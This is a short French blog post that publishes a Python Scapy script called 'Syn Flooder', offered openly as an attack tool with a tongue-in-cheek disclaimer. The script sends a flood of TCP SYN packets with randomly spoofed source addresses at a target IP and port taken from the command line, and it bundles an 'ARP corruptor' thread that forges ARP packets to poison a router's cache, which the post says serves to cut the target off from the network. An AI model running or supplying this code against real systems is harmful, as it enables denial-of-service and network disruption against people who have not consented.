Syn Flooder

Livré avec un corrupteur ARP, en option, pour isoler la cible du réseau ;-)

# Syn flooder par iZy_TeH_PariaH
#Je me dégage de toute responsabilité
#quant a votre utilisation de ce script
#-----------------------------------

from scapy.all import *
from random import randint
import time
from threading import Thread
def ip_generator(nb):
    """ Génère un nombre nb d'ip aléatoires de la forme
        xxx.xxx.xxx.xxx"""
    try:
        a = int(nb)
    except:
        print 'Veuillez entrer un nombre de paquets valide'
        exit(0)
    l = []
    for i in range(a):
        l.append(str(randint(1,255)) + '.' + str(randint(1,255))+ '.' + str(randint(1,255))+ '.' + str(randint(1,255)))
    return l
class Corruptor(Thread):
    def __init__(self,ipRouteur,ipCible,votreIp):
        Thread.__init__(self)
        self.ipRouteur = ipRouteur
        self.ipCible = ipCible
        self.votreMAC = getmacbyip(votreIp)
    def poison(self):
        sendp(Ether (dst = getmacbyip(self.ipRouteur))/ARP(op = 'who-has',pdst = self.ipRouteur,psrc = self.ipCible))
        time.sleep(5)
    def run(self):
        while 1:    
            self.poison()
    
if __name__ == '__main__':
    if len(sys.argv) < 4:
        print 'Veuillez mettre l\'adresse de la cible et le port en parametre de la forme :\nsyn.py <ip> <port> <nombre_paquets>'
        exit(0)
    print 'Flooding ...'
    for ip in ip_generator(sys.argv[3]):    
        send(IP(dst = sys.argv[1],src = ip)/TCP(sport = 81,dport = int(sys.argv[2]),flags = 'S'))


Pour être informé des derniers articles, inscrivez vous :